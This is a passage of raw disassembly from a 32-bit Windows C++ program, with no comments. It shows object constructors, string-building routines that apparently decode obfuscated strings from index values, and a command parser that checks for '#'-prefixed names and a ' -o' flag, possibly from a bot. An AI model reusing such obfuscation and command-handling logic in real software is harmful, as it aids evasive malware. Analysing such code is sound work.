		lea	ecx, [esp+47Ch+var_450]
		call	sub_401870
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403700
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C30	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403C30	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CD0	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D50	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DC0	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DC0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EA0	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EA0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403F80	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_403F80	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE60E85Ch, 4E8DFFFFh, 0D420E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC67E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD5CFE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD3E6h, 0E8CD8B50h, 0FFFFD3DEh
		dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFDA04h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCDF5E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 6FE81824h, 8BFFFFCEh, 2444C6C8h, 9FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E456800h, 0CEE8004Eh,	83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCDB6h, 0C572E890h
		dd 0C88B023Ch, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD94E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404600	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404642
		push	ebx
		jmp	short loc_404646
; ---------------------------------------------------------------------------


loc_404642:				; CODE XREF: sub_404600+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404646:				; CODE XREF: sub_404600+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_404662
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_404662:				; CODE XREF: sub_404600+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_4046DF
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_4046DF:				; CODE XREF: sub_404600+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049AA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4047CF
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_4047CF
		mov	bl, 1
		jmp	short loc_4047D1
; ---------------------------------------------------------------------------


loc_4047CF:				; CODE XREF: sub_404600+1A6j
					; sub_404600+1C9j
		xor	bl, bl


loc_4047D1:				; CODE XREF: sub_404600+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_40498E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049AA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049AA
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_404967
		test	ebp, ebp
		jle	short loc_404978


loc_404958:				; CODE XREF: sub_404600+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_404958
		jmp	short loc_404978
; ---------------------------------------------------------------------------


loc_404967:				; CODE XREF: sub_404600+352j
		test	ebp, ebp
		jle	short loc_404978


loc_40496B:				; CODE XREF: sub_404600+376j
